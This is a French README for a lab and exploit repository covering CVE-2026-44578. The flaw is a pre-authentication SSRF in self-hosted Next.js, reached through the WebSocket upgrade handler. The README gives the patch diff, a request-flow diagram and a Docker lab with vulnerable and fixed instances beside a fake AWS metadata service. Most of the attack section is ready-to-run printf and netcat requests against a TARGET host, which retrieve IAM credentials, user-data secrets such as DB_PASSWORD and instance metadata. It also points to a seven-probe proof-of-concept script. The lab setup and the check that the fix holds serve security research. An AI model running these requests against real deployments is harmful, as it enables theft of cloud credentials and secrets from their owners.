
CVE-2026-44578 : SSRF de mise à niveau WebSocket Next.js — vol d'informations d'identification pré-authentification via localhost:80. Laboratoire + exploit + audit.
Server-Side Request Forgery avant authentification dans les déploiements auto-hébergés Next.js.
Une seule requête HTTP malveillante extrait les identifiants AWS, secrets et données de services internes depuis localhost:80.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Type | SSRF (CWE-918) |
| Affecté | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (auto-hébergé uniquement) |
| Corrigé | 15.5.16, 16.2.5 |
| Authentification requise | Aucune |
| Interaction utilisateur | Aucune |
Le gestionnaire de mise à niveau WebSocket dans router-server.ts appelle proxyRequest() dès que parsedUrl.protocol est vrai — sans vérifier les indicateurs de fin de routage finished et statusCode que le gestionnaire HTTP avait toujours appliqués.
// router-server.ts — gestionnaire de mise à niveau
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// correctif (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
Après que normalizeRepeatedSlashes réduit http:/// à http:/, le nom d'hôte est nul et http-proxy se connecte à localhost:80 avec le bon chemin. Tout service co-localisé (métadonnées cloud, panneaux d'administration, API internes) est exposé.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlne peut pas envoyer d'URI sous forme absolue. Utilisez du TCP brut :nc,ncat,socat, ou des sockets Python.
Attaquant Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" correspond à la regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Retourne : finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BOGUE : vérifie seulement le |
| | protocole |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + identifiants |
| |<-----------------------------|
| 200 OK + identifiants | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
Cela démarre 5 conteneurs :
| Conteneur | Rôle | Exposé |
|---|---|---|
nextjs-vuln | Next.js 15.5.15 (vulnérable) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (corrigé) | localhost:3001 |
imds-sidecar-vuln | Faux AWS IMDSv1 partageant le réseau avec le vulnérable | localhost:80 (vue du vulnérable) |
imds-sidecar-fixed | Faux AWS IMDSv1 partageant le réseau avec le corrigé | localhost:80 (vue du corrigé) |
internal-api | Maquette de service interne | — |
Les sidecars IMDS utilisent network_mode: "service:nextjs-*" pour que le faux service de métadonnées soit sur localhost:80 à l'intérieur du conteneur Next.js — ce qui modélise une véritable instance cloud.
# Suite de tests complète (7 sondes SSRF)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Extraction d'identifiants unique
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirmer que l'instance corrigée bloque
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
Tous les conteneurs actifs — vulnérable (15.5.15) sur :3000, corrigé (15.5.16) sur :3001, sidecars IMDS partageant les espaces de noms réseau.
Une seule requête renvoie le répertoire complet des métadonnées EC2 (ami-id, instance-id, iam/, placement/, etc.)
Jeu complet d'identifiants IAM : AccessKeyId, SecretAccessKey, Token, et Expiration.
Script bootstrap user-data EC2 contenant DB_PASSWORD et API_KEY.
ID de l'instance extrait via le même vecteur SSRF.
Même payload contre Next.js 15.5.16. Connexion fermée immédiatement — aucune donnée renvoyée.
Les logs du faux IMDS montrent des requêtes GET arrivant de 127.0.0.1 (le processus Next.js), prouvant que le SSRF est côté serveur.
Les 7 tests SSRF renvoient des données sensibles sur l'instance vulnérable.
Les 7 tests sont bloqués sur l'instance corrigée. Correctif confirmé.
# 1. Lister les catégories de métadonnées
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000